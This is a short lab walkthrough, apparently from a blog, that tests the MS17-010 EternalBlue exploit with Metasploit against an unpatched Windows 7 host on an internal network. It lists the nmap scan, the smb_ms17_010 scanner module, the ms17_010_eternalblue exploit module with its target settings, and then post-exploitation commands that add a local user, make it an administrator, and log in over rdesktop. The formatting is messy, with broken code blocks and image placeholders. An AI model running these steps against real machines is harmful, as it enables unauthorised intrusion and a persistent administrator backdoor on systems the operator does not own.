Testing the MS17-010 EternalBlue Exploit with MSF

Test Environment

(Internal network addresses)

• -Windows 7 (unpatched, with port 445 open) 10.77.0.128
• Kali 10.77.0.109

First, Gather Information and Probe the Target

• Run a quick Nmap scan

- nmap \-sS \-P0 \-A \-v 10.77.0.100

Scan for the Vulnerability

• Start msfconsole``` msfconsole

- Load the scanning module

> `use auxiliary/scanner/smb/smb_ms17_010`

show options

 -    Set the target IP```
set RHOST 10.77.0.128 

• Run

run
```![Insert image description here](/images/20190606140644531.pngUse

---

## Exploitation

 -    Load the exploit module```
use exploit/windows/smb/ms17_010_eternalblue

• Set the parameters

set RHOST 10.77.0.128

• Run

run
```![Insert image description here](/images/20190606142202832.png 
It ran successfully—we got in.

CMD commands can be executed directly  
![在这里插入图片描述](/images/20190606142721340.png)

---

The privileges are very high.  
Run `net user` directly.```
net user 123 1234 /add（用户名 密码）
net localgroup administrators xxxx /add （将用户设置为管理员权限）

Open another terminal.

rdesktop+IP
```![在这里插入图片描述](/images/20190606144604550.png)